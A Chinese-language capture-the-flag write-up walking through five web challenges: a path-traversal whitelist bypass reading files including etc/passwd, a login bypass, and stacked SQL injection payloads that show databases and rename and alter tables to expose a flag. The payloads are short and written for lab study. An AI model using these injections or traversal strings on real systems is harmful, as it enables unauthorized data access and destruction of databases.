第一题
刚打开的页面
看源码,发现source.php
访问source.php
我们要用file参数带出flag,但是有白名单限制。第一个和第二个判断是对file本身的值进行判断,第三个和第四个是对?前面的file值进行判断,所以我们可以从第二个和第三个入手。
构造file值为source.php?../…/…/…/…/…/…/…/…/…/…/flag(要进行URL编码)
额,啥都没有,换成etc/passwd试试
没有flag。然后发现代码白名单有个hint.php,访问一下看看
好吧,找到flag文件名,构造file=source.php%3f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2fffffllllaaaagggg,获取flag
第二题
万能密码试一下
还真是easy sql
第三题
看源码发现
构造参数cat=dog
第四题
过滤了这些字段
尝试一些堆叠注入
输入 1’; show databases#
看一下当前数据库的表
看下两个表的列名
第二个表因为是数字,所以查的时候加上反引号
发现第二个表就是我们的目标表了。
查看当前表的全部数据
可以推测当前表是words表,并且根据id字段来查询。
我们可以把words表改成别的名字,第二个表的名字改成words,因为第二个表没有id字段,所以添加一个id字段。
语句为
1’;rename table words to word123;rename table `1919810931114514` to words;alter table words add(id int(10))#
然后爆出全部数据
获得flag
第五题
堆叠注入
貌似当前数据库只有Flag表
源码的SQL语句是这样的
select $_GET[‘query’] || flag from flag
然后输入 *,1 获取flag
或者输入
2;set sql_mode=PIPES_AS_CONCAT;select 2
先记录到这,剩下有空在写